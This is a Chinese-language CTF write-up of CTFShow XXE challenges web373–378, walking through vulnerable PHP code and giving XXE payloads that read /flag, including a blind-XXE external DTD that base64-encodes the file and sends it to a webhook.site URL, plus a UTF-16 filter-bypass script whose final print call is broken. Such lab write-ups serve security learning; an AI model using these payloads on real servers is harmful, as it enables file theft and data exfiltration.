CTFShow-XXE

web373

详细代码解析

php 复制代码
error_reporting(0);
不返回报错
libxml_disable_entity_loader(false);
不禁止xml实例加载器
$xmlfile = file_get_contents('php://input');
接收post请求的body原始内容,当服务端需要接收 XML、JSON、二进制流等非表单数据时,php://input 是唯一选择。
(`$a=$_POST['param'];`这样的只能接收键值对形式的数据)
if(isset($xmlfile))
检查是否存在 $xmlfile 
$dom = new DOMDocument();
创建实体化DOMDocument类用于解析XML
$dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD);
解析xml内容,LIBXML_NOENT强制解析外部插入的参数,LIBXML_DTDLOAD允许解析DTD
$creds = simplexml_import_dom($dom);
把xml解析过的dom内容转换为xml实体
$ctfshow = $creds->ctfshow;
从这个实体中的子元素中提取一个叫ctfshow的子元素复制到$ctfshow

直接上传xml的payload

xml 复制代码
<!DOCTYPE test [<!ENTITY Yv SYSTEM "file:///flag">]>
<test><ctfshow>&Yv;</ctfshow></test>

web374(无回显XXE|Blind XXE)

这里我们发现这是无回显的

没找到ctfshow内网攻击机

我们这里用:
https://pastebin.com/------创建shelldtd
https://webhook.site/------读取get请求

创建shell.dtd开放端口

xml 复制代码
//shlle.dtd
<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'https://webhook.site/8bc6785d-8958-4a2e-8af2-8185de955e0c/?flag=%file;'>">
%int;
%send;


//payload
<!DOCTYPE root [ 
    <!ENTITY % remote SYSTEM "https://pastebin.com/raw/JyXC4bCq">
    %remote;
]>


web375

依旧
https://pastebin.com/------创建shelldtd
https://webhook.site/------读取get请求

之前的payload秒了


web376

和上题正则匹配一个东西,但是这次不分大小写,反正之前的payload没有被过滤的东西

直接之前的payload秒了

web377

这次正则匹配多了一个http

可以用16进制绕过或是别的协议访问

但是用别的协议要满足两个条件:

  1. 靶机要支持该协议
  2. 攻击机要支持被该协议访问

这里没办法,没有找到内网可以控制的肉机,自己开个网站成本太高了,在线的基本只支持https

就用16进制绕过

python 复制代码
import requests
url = 'https://9662db2b-49f7-4770-ab7b-f708c47aa7d5.challenge.ctf.show/'
payload = '''<!DOCTYPE ANY[
<!ENTITY % xxe SYSTEM "https://pastebin.com/raw/JyXC4bCq">
%xxe;
]>'''
# 关键:UTF-16 编码绕过 http 过滤
response = requests.post(url, data=payload.encode('utf-16'), verify=False)
print(data=payload.encode('utf-16'))

web378

没什么过滤

直接包含一下flag文件就可以了

相关推荐
落寞的魚丶1 天前
2026年浙江省信息通信业职业技能竞赛(信息安全测试员竞赛) 初赛Wireup
ctf·鱼影安全·2026网络安全通信行业·信息安全测试员竞赛·通信职业技能大赛
合天网安实验室6 天前
Modbus协议及其取证的学习笔记
ctf·modbus·通信协议·取证
努力的lpp7 天前
php反序列化一(大白话版)
开发语言·web安全·php·ctf·反序列化
蒲公英eric7 天前
从直接重定向到白名单验证:DVWA 开放重定向模块完整漏洞分析教程
web安全·ai·ctf·dvwa·ai安全·开放重定向模块
蒲公英eric9 天前
从页面检查到功能验证:DVWA 授权绕过模块完整漏洞分析教程
web安全·ai·ctf·dvwa·ai安全·授权绕过模块
Sagittarius_A*10 天前
[LitCTF 2026] lit_elgamal_handshake
密码学·ctf·crypto·elgamal
0xBADCODE13 天前
CTF Writeup 合集
安全·web安全·网络安全·系统安全·密码学·php·ctf
玫幽倩14 天前
2025MoeCTF(Pwn全)
网络·安全·pwn·ctf·新生赛·二进程·moectf
岁岁的O泡奶14 天前
[NSSCTF 2022 Spring Recruit]babyphp
经验分享·web·ctf
0xBADCODE14 天前
动态DEX加载+反射+DES硬编码密钥:安卓三层逆向实战
android·java·python·安全·网络安全·逆向·ctf